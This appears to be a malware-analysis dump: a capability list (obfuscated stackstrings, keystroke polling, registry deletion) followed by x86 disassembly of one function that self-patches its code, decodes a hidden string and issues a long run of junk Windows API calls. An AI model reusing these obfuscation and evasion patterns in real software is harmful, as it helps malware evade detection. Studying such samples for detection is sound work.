Function at 0xa84000
Capabilities:
Accept command line arguments
Allocate thread local storage
Contain obfuscated stackstrings
Create directory
Delete registry key
Extract resource via kernel32 functions
Get common file path
Get disk information
Get geographical location
Get memory capacity
Identify system language via api
Log keystrokes via polling
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Query service status
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xa84989
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa84039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xa84225
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xa840bb
call fcn.00462062
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xa8407d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa84097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xa84097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8404d
mov byte [ebp - 0x58], 3
mov byte [ebp - 0x57], 0x21
mov byte [ebp - 0x56], 7
mov byte [ebp - 0x55], 0x64
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x53], 0x77
mov byte [ebp - 0x52], 4
mov byte [ebp - 0x51], 0x7e
mov byte [ebp - 0x50], 0x26
mov byte [ebp - 0x4f], 0x9e
mov byte [ebp - 0x4e], 0x95
mov byte [ebp - 0x4d], 0xcb
mov byte [ebp - 0x4c], 0xce
mov byte [ebp - 0x4b], 5
mov byte [ebp - 0x4a], 0xd
mov byte [ebp - 0x49], 0x9c
mov byte [ebp - 0x48], pe_nt_image_headers32
mov byte [ebp - 0x47], 0x4b
mov byte [ebp - 0x46], 0xbf
mov byte [ebp - 0x45], 0x37
mov byte [ebp - 0x44], 0x47
mov byte [ebp - 0x43], 0xdd
mov byte [ebp - 0x42], 0x3a
mov byte [ebp - 0x41], 0x7b
mov byte [ebp - 0x40], 0x9c
mov byte [ebp - 0x3f], 0xbb
mov byte [ebp - 0x3e], 0x45
mov byte [ebp - 0x3d], 0xa3
mov byte [ebp - 0x3c], 0x87
mov byte [ebp - 0x3b], 0x17
mov byte [ebp - 0x3a], 0x24
mov byte [ebp - 0x39], 0x77
mov byte [ebp - 0x38], 0xfc
mov byte [ebp - 0x37], 0x1e
mov byte [ebp - 0x36], 0x16
mov byte [ebp - 0x35], 0xc3
mov byte [ebp - 0x34], 0xeb
mov byte [ebp - 0x33], 0x16
mov byte [ebp - 0x32], 0x22
mov byte [ebp - 0x31], 9
mov byte [ebp - 0x30], 0x20
mov byte [ebp - 0x2f], 0xa9
mov byte [ebp - 0x2e], 0x13
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x80
mov byte [ebp - 0x2a], 1
mov byte [ebp - 0x29], 0x7e
mov byte [ebp - 0x28], 8
mov byte [ebp - 0x27], 0x7b
mov byte [ebp - 0x26], 5
mov byte [ebp - 0x25], 0x76
mov byte [ebp - 0x24], 6
mov byte [ebp - 0x23], 0x7d
mov byte [ebp - 0x22], 2
mov byte [ebp - 0x21], 0x7f
mov byte [ebp - 0x20], 9
mov byte [ebp - 0x1f], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xa841b5
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3a
jae 0xa8421a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa841e1
mov dword [ebp - 0x60], 0x26
mov eax, dword [ebp - 8]
add eax, 0x24
mov dword [ebp - 8], eax
jmp 0xa841ad
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xa84209
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xa841f6
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xa841ad
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xa7963a
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407abf
mov ecx, eax
call fcn.00402af8
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00402a9c
and dword [ebp - 0x18], 0
jmp 0xa84263
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xa84273
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xa8425c
push 0
push 0
push 0x1e68
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0x26f2
push 0x77d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0
push 0x27a
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x6a1
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
push 0x19ff
push 0
push 0x177b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x267
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0x1025
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x115e
push 0x2446
push 0x1cbf
push 0x1f11
push 0x399
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1c68
push 0x1677
push 0xe94
push 0xe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x1ce0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0
push 0
push 0x2000
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0x1425
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x1947
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x1a97
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4c5
push 0x681
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0x197e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
push 0x2326
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x200d
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x1dd6
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0x210
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
push 0
push 0x22c2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x1d56
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0x15e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x2113
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0xd7f
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push 0
push 0x1414
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0x19da
push 0
push 0x5e9
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x1f9e
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0xc75
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
push 0x11a7
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x939
push 0x1867
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
push 0
push 0
push 0x179f
push 0x294
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0x1cd5
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
push 0x1e48
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0x6ee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0x15e
push 0
push 0x1021
push 0x1712
push 0x263d
push 0
push 0x1872
push 0x1faa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0x955
push 0x1730
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0xced
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0x1c85
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x1d7d
push 0x1b69
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0x1ee
push 0
push 0xf37
push 0
push 0x2235
push 0x1aab
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0x1fc5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0x189d
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0
push 0
push 0x20b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0x268c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0xb9f
push 0x14b5
push 0
push 0x1312
push 0x219f
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x18c
push 0x2364
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0xd4c
push 0x1744
push 0x2441
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0x987
push 0x243
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x1ddf
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0x16a8
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0x25e2
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0x1107
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x8e5
push 0x7e1
push 0xaa5
call dword [sym.imp.KERNEL32.dll_MulDiv]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0
push 0x1c34
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0x1c75
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0x1826
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
push 0x43b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0x2106
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0x20bc
push 0x66f
push 0
push 0
push 0x163b
push 0xc0f
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0xa84993
mov esp, ebp
pop ebp
ret